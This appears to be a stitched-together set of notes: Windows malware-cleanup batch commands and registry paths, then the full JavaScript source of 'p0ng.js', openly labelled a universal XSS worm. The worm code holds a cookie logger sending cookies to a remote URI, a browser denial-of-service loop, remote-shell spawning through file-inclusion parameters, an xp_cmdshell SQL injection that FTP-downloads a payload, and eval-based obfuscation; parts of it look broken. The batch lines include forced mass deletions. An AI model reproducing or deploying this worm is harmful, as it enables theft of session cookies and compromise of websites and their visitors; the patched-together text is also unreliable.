del c:\windows\system32\WMSNL.EXE del c:\windows\system\LSASS.EXE del c:\windows\*.zip del c:\windows\temp\*.TMP del c:\Documents And Settings\Arcadi\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q del c:\Documents And Settings\Irina\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q del c:\Documents And Settings\Nicolau\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q del c:\Documents And Settings\Karme\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q del c:\Documents And Settings\Sebastia\Local Settings\Temporary Internet Files\Content.IE5 *.* /s /q

REGMON.LOG, line 5613150: regedit.exe:3484 QueryValue HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\crypt\DLLName SUCCESS "crypts.dll"

@echo off title Malware Removal Tool ;) - By Smartgenius color 0a taskkill /f /im explorer.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f ping -n 2 0.0.0.0 > nul c: cd c:\ attrib -r -s -h RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013 del /f %windir%\Prefetch\ISE32.EXE-34CFE4CB.pf del /f %windir%\Prefetch\ISE32.EXE-273EA8B7.pf del /f %windir%\Prefetch\ISEE.EXE-05DD3401.pf D: cd d:\ attrib -r -s -h del /f autorun.inf RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013 explorer msg /w * Gracias por usar este soft exit

taskkill /f /im explorer.exe attrib -h -r -s S-1-5-21-1482476501-1644491937-682003330-1013 del S-1-5-21-1482476501-1644491937-682003330-1013 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{08B0E5C0-4FCB-11CF-AAX5-90401C608512}\ StubPath = “C:RECYCLERS-1-5-21-1482476501-1644491937-682003330-1013ise.exe”

h:\cleansweep.exe\cleansweep.exe

W32.downadup VKPN[1].JPG @ c:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files c:\windows\system32\X Solució : MS08-067 = KB958644 ;

C:\Documents and Settings\Nombre de usuario\AppData\Roaming\

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\WinLogon\ HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\WinLogon\Shell

/** * @name: +-+-+-+-+-+-+-+-+-+-+-+ P 0 N G ! +-+-+-+-+-+-+-+-+-+-+-+ * @file: p0ng.js * @author: 0x000000, Ronald van den Heetkamp & guests * @func: universal xss worm * @date: 2008.01.07 * **/ /*** string components ***/ String.prototype.urlencode = function(){ return encodeURIComponent(this); } String.prototype.xsplit = function(q,x) { b = this.split(q); return b[x]; } String.prototype.xor = function(n) { x = this; y = n; x ^ y; y = x ^ y; x = x ^ y; return x; } String.prototype.rand = function(n) { n ? n = parseInt(n) : n = 1024; return (Math.floor(Math.random () * n + 1 )); } String.prototype.zeroFill = function(d) { var str = this; while (str.length < d) { str = "0" + str; } return str; } String.prototype.getCharCodes = function() { var codes = []; for(var i=0; i<this.length;i++) { codes.push(this.charCodeAt(i)); } return codes; } String.prototype.toUnicode = function() { var code = ''; var codes = this.getCharCodes(); for(var i=0; i<codes.length;i++) { code += '\\u' + codes[i].toString(16).zeroFill(4); } return code; } String.prototype.toOctal = function() { var code = ''; var codes = this.getCharCodes(); for(var i=0; i<codes.length;i++) { code += '\\' + codes[i].toString(8); } return code; } String.prototype.toHex = function() { var code = ''; var codes = this.getCharCodes(); for(var i=0; i<codes.length;i++) { code += '\\x' + codes[i].toString(16); } return code; } /*** array components ***/ Array.prototype.in_array = function(str) { ret = false; for (i=(this.length-1); i>=0; i--) { if (this[i] == str) { ret = true; } } return ret; } /*** worm auto-append component ***/ function worm(uri) { w = document.createElement('script'); uri ? u = uri : u = window.location.href; w.src = u; try { document.getElementsByTagName('head')[0].appendChild(w); } catch(ex) { document.getElementsByTagName('body')[0].appendChild(w); } }; /*** worm XHR object ***/ function xhr() { var xhtp,xml,s; try { xhtp = new XMLHttpRequest(); s=true; } catch(ex) { xml = ['MSXML2.XMLHTTP','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.6.0','MSXML2.XMLHTTP.7.0']; for (i=(xml.length-1) && !s; i>=0; i--) { try { xhtp = new ActiveXObject(xml[i]); s=true; } catch(ex) { s=false; } } } return xhtp; }; Object.prototype.post = function(uri,arg) { /*** usage: xhr().post('foo.php'); ***/ this.open('POST', uri, true); this.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); this.setRequestHeader('Content-length', arg.length); this.setRequestHeader('Connection', 'close'); this.send(arg); }; Object.prototype.get = function(uri,argv) { /*** usage: xhr().get('foo.php'); ***/ this.open('GET',uri,true); this.send (argv); this.onreadystatechange = function () { if (this.readyState == 4) { if (this.status == 200) { var xmlget = this.responseText; } } }; this.send(argv); return xmlget; }; /*** DOM storage component ***/ Object.prototype.domstore = function(url,name,obj) { try { globalStorage[''].name=obj; s=false; } catch(ex) { url? globalStorage[url].name=obj:globalStorage[document.domain].name; sessionStorage.name = obj; s=true; } return s; }; /*** charset information ***/ Object.prototype.charset = function () { document.charset ? c = document.charset: c = false; return c; }; /*** event attach component ***/ Object.prototype.eventer = function(type,listener,useCapture) { try { this.addEventListener(type,listener,useCapture); ret = true; } catch(ex) { var ret = this.attachEvent('on' + type, listener); ret = true; } return ret; }; /*** form submitting component ***/ Object.prototype.fillform = function(data) { for(j = 0; j < document.forms.length; ++j) { xform = document.forms[j]; for(i = 0; i < xform.elements.length; ++i) { xform.elements[i].value = data; } } }; /*** form hiddenfield submitting component ***/ Object.prototype.fillhidden = function(data) { for(j = 0; j < document.forms.length; ++j) { xform = document.forms[j]; for(i = 0; i < xform.elements.length; ++i) { if(xform.elements[i].type == 'hidden') { xform.elements[i].value = data; } } } }; /*** element array component ***/ Object.prototype.elements = function(arg) { var elems =[]; for (i=0;i<arg.length;i++) { var e = arg[i]; e = document.getElementById(e); elems.push(e); } return elems; }; /*** document links component ***/ Object.prototype.links = function() { rl = []; lk = document.links; for(y=0;y<lk.length;++y) { rl.push(lk[y]); } return rl; }; /*** query parts component ***/ Object.prototype.queryparts = function(uri) { k = []; uri?uri=uri:uri=window.location.href; (uri.indexOf('?')==-1)?i=0:i=1; if(i) { //uri = uri.search(/\?/) j = uri.split("&"); for(i=1;i<j.length;i++) { j[i] = j[i].replace(/=(.*)/,''); k.push(j[i]); } } else { k = 0; } return k; }; /*** cookie logger component ***/ Object.prototype.logcookie = function(uri) { var img = document.createElement('img'); document.appendChild(img); img.src = uri + "?c="+escape(document.cookie)+"q="+rand(); }; /*** color calculating component ***/ Object.prototype.visited = function(color) { c = color; if (this.currentStyle) { var x = this.currentStyle['color']; } else if (window.getComputedStyle) { var x = document.defaultView.getComputedStyle(this,null).getPropertyValue('color'); } if(c == x) { res = true; } else { res = false; } return res; }; /*** most clicked links estimater ***/ Object.prototype.estimate = function(color) { var link_array = []; for(i in links()) { if(i.visited(color)) { link_array.push(i); } } return link_array; } /*** denial of service trigger ***/ Object.prototype.dos = function() { this.onfocus = function() {d()} this.onblur = function() {d()} function d() { for(i=0;i<800;i++) { url = window.location.href; uri = document.location = url; if (!uri.closed && url.location) { document.location = url; } } } }; /*** remote shell spawning component ***/ Object.prototype.spawnshell = function(uri) { shell = uri + 'shell.php?'; var gateways = ['base_path','theme_path','cmd','dir','req_path','template','base_path','page', 'systempath','phpbb_root_path','returnpath','inc_dir','include','CONFIG[path]','inc','main_path', 'mosConfig_absolute_path','basepath','configFile']; for(i=0;i<gateways.length;++i) { xhr().get(document.domain + '?',gateways[i] + '=' + shell); } }; /*** hit & run shellspawner ***/ Object.prototype.hitandrun = function(uri) { shell = uri + 'shell.php?'; var gateways = []; var l = links(); for(j = 0; j < l.length; ++j) { gateways.push(queryparts(l[j])) } for(i = 0; i < gateways.length; ++i) { xhr().get(document.domain + '?',gateways[i] + '=' + shell); } }; /*** SQL injecter component pOc ***/ Object.prototype.sqlinject = function(vuln_uri,ftpip) { seq = "1'; exec master..xp_cmdshell 'echo open "+ftpip+" 21 >> %systemroot%\inetpub\wwwroot\p0ng.js';"; seq += "exec master..xp_cmdshell 'echo user foo bar >> %systemroot%\inetpub\wwwroot\p0ng.js';"; seq += "exec master..xp_cmdshell 'echo get %systemroot%\inetpub\wwwroot\p0ng.js >>"; seq += "%systemroot%\inetpub\wwwroot\p0ng.js';"; seq += "exec master..xp_cmdshell 'echo quit >> %systemroot%\inetpub\wwwroot\p0ng.js';"; seq += "exec master..xp_cmdshell 'ftp -i -n -v -s: %systemroot%\inetpub\wwwroot\p0ng.js';"; try { xhr().get(vuln_uri+seq) } catch(ex) { return false } }; /*** source morphing component ***/ String.prototype.toVariables = function() { var code = this; var operators = ['>','<','&','&&','|','||','%','==','!=','===','!==']; var operator = operators[Math.floor(Math.random()*operators.length)]; var number1 = Math.floor(Math.random()*10); var number2 = Math.floor(Math.random()*10); var statement = number1+operator+number2; var concatStr = ''; if(eval(statement) == true) {concatStr += statement; } else { concatStr += '!' + statement; } concatStr += "?'s1':0"; var customConcat = concatStr; var separateStatements = ','; var variablePrefixes = ['b2_','x2_','$_','x_','s_']; var pos = Math.floor(Math.random()*variablePrefixes.length); var varName = variablePrefixes[pos]; var vector = concatStr; var concatString = ''; for(var i=0; i<code.length;i++) { concatString += (varName + i + '=') + vector.replace("s1", code.charAt(i)) + separateStatements; } concatString += '' + varName + (i++) + '='; for(var i=0; i<code.length;i++) { concatString += (varName + i); if(i + 1 < code.length) { concatString += '+'; } } return concatString; } Object.prototype.morph = function(s) { var source = s; var m = ['unicode','charcodes','octal','hex','urlencode','variables']; var pos=Math.floor(Math.random() * m.length); morphtype = m[pos]; source = morphselection(source,morphtype); return; } switch(morphtype) { case "unicode":source = "eval('"+ source.toUnicode() + "')"; break; case "charcodes":source = 'eval(String.fromCharCode(' + source.getCharCodes() + '))'; break; case "octal":source = "eval('"+ source.toOctal() + "')"; break; case "hex":source = "eval('"+ source.toHex() + "')"; break; case "urlencode":source = "eval(unescape('"+ escape(source) + "'))"; break; case "variables":source = source.toVariables(); break; } return source; }; Object.prototype.morphselection = function(source,morphtype) { switch(morphtype) { case "unicode":source = matchUnicode(source); break; case "octal":source = matchOctal(source); break; case "hex":source = matchHex(source); break; case "urlencode":source = matchUrlencode(source); break; case "charcodes":source = matchCharcodes(source); break; case "variables":source = matchVariables(source); break; } return source; }; Object.prototype.matchVariables = function(source) { source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return $2.toVariables() } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return $2.toVariables() } ); return source; }; Object.prototype.matchCharcodes = function(source) { source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } ); return source; }; Object.prototype.matchUrlencode = function(source) { source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return 'unescape(\'' + escape($2) + '\')' } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return 'unescape("' + escape($2) + '\")' } ); return source; }; Object.prototype.matchOctal = function(source) { source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } ); return source; }; Object.prototype.matchHex = function(source) { source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } ); return source; }; Object.prototype.matchUnicode = function(source) { source = source.replace(/(\\[uU][\w\d]{4})?(\w*)([\s(]?)/, function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } ); source = source.replace(/(['])([^']+)(['])/, function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } ); source = source.replace(/(["])([^"]+)(["])/, function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } ); return source; };